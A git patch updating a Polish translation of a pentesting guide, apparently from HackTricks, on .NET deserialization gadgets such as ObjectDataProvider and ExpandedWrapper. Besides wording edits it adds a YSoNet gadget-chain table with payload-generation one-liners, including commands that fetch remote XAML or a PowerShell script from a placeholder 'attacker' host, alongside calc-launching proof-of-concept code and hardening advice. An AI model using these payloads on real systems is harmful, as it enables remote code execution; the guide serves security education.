From 2d691b82c22e9d638fd245e88db1502afe004846 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 10:13:56 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/basic-.net-deserializati --- ...er-gadgets-expandedwrapper-and-json.net.md | 59 ++++++++++++++++--- 1 file changed, 52 insertions(+), 7 deletions(-) diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 50f53e87c..90775d8ea 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -7,7 +7,7 @@ Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wyk ## Gadget ObjectDataProvider Z dokumentacji: _klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania_.\ -Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\ +Tak, to dziwne wyjaśnienie, więc zobaczmy, co ma ta klasa, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\ W związku z tym, dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.** ### **Jak to jest możliwe** @@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base. ![](<../../images/image (319).png>) -Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi: +Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi: ![](<../../images/image (345).png>) @@ -32,7 +32,7 @@ Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy, Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**. -Jeśli chcesz sprawdzić, że ustawienie _**MethodName**_** spowoduje jego wykonanie**, możesz uruchomić ten kod: +Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_, aby **została wykonana**, możesz uruchomić ten kod: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,13 +52,13 @@ myODP.MethodName = "Start"; } } ``` -Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data` +Zauważ, że musisz dodać jako referencję _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data` ## ExpandedWrapper -Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy nie będziemy mieli **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ +Ta klasa pozwala na **określenie typów obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. Możesz sprawdzić ten wrapper za pomocą następującego kodu: @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony: +W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator jest uruchamiany: ```java using System; using System.Text; @@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` +## Zaawansowane łańcuchy gadżetów .NET (YSoNet i ysoserial.net) + +Technika ObjectDataProvider + ExpandedWrapper wprowadzona powyżej to tylko jeden z WIELU łańcuchów gadżetów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (oraz starsze [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadżetów i formatów serializacji. + +Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów dostarczonych z *YSoNet* wraz z krótkim wyjaśnieniem, jak działają oraz przykładowymi poleceniami do generowania ładunków. + +| Łańcuch Gadżetów | Kluczowa Idea / Primitiv | Powszechne Serializatory | YSoNet one-liner | +|-------------------|--------------------------|--------------------------|-------------------| +| **TypeConfuseDelegate** | Korumpuje rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skompilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Wykorzystuje **dziedziczną reprezentację XML** `System.Data.DataSet`, aby zainicjować dowolne typy, wypełniając pola `` / `` (opcjonalnie fałszując assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | W środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładowa* DLL dostarczoną z `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (przegląd) | Używa WPF `System.Windows.Data.ObjectDataProvider`, aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję `--xamlurl`, aby hostować złośliwy XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się, gdy PowerShell deserializuje obiekt | Zdalne wywołanie PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | + +> [!TIP] +> Wszystkie ładunki są **domyślnie zapisywane do *stdout***, co ułatwia ich przesyłanie do innych narzędzi (np. generatorów ViewState, kodowników base64, klientów HTTP). + +### Budowanie / Instalowanie YSoNet + +Jeśli nie ma dostępnych skompilowanych binarek w *Actions ➜ Artifacts* / *Releases*, poniższy **PowerShell** one-liner skonfiguruje środowisko budowy, sklonuje repozytorium i skompiluje wszystko w trybie *Release*: +```powershell +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); +choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; + +git clone https://github.com/irsdl/ysonet +cd ysonet +nuget restore ysonet.sln +msbuild ysonet.sln -p:Configuration=Release +``` +Skonstruowany `ysonet.exe` można znaleźć w `ysonet/bin/Release/`. + +### Wykrywanie i wzmacnianie +* **Wykryj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`). +* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) zawsze, gdy przestarzały `BinaryFormatter` / `NetDataContractSerializer` nie może być usunięty. +* Gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście. +* Zablokuj niebezpieczne zestawy WPF (`PresentationFramework`, `System.Workflow.*`) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują. + +## Odnośniki +- [YSoNet – generator ładunków deserializacji .NET](https://github.com/irsdl/ysonet) +- [ysoserial.net – oryginalne narzędzie PoC](https://github.com/pwntester/ysoserial.net) +- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) + {{#include ../../banners/hacktricks-training.md}}